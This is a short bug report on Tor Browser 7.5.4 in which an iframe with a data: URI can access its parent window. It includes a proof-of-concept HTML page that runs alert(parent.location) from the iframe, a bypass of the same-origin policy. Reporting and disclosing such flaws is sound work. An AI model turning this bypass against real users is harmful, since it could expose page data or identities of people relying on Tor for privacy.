Tor Browser: iframe with `data:` uri has access to parent window

Version: 7.5.4 (based on Mozilla Firefox 52.8.0) Tested with standard security slider. However, it's likely to be possible with a higher security level.

<body>
    <script>
        let f = document.body.appendChild(document.createElement('iframe'))
        f.src =
            'data:text/html,' +
            `<script>alert(parent.location)</scrip` + `t>` 
        // should throw "SecurityError...", instead `alert()` works
    </script>
</body>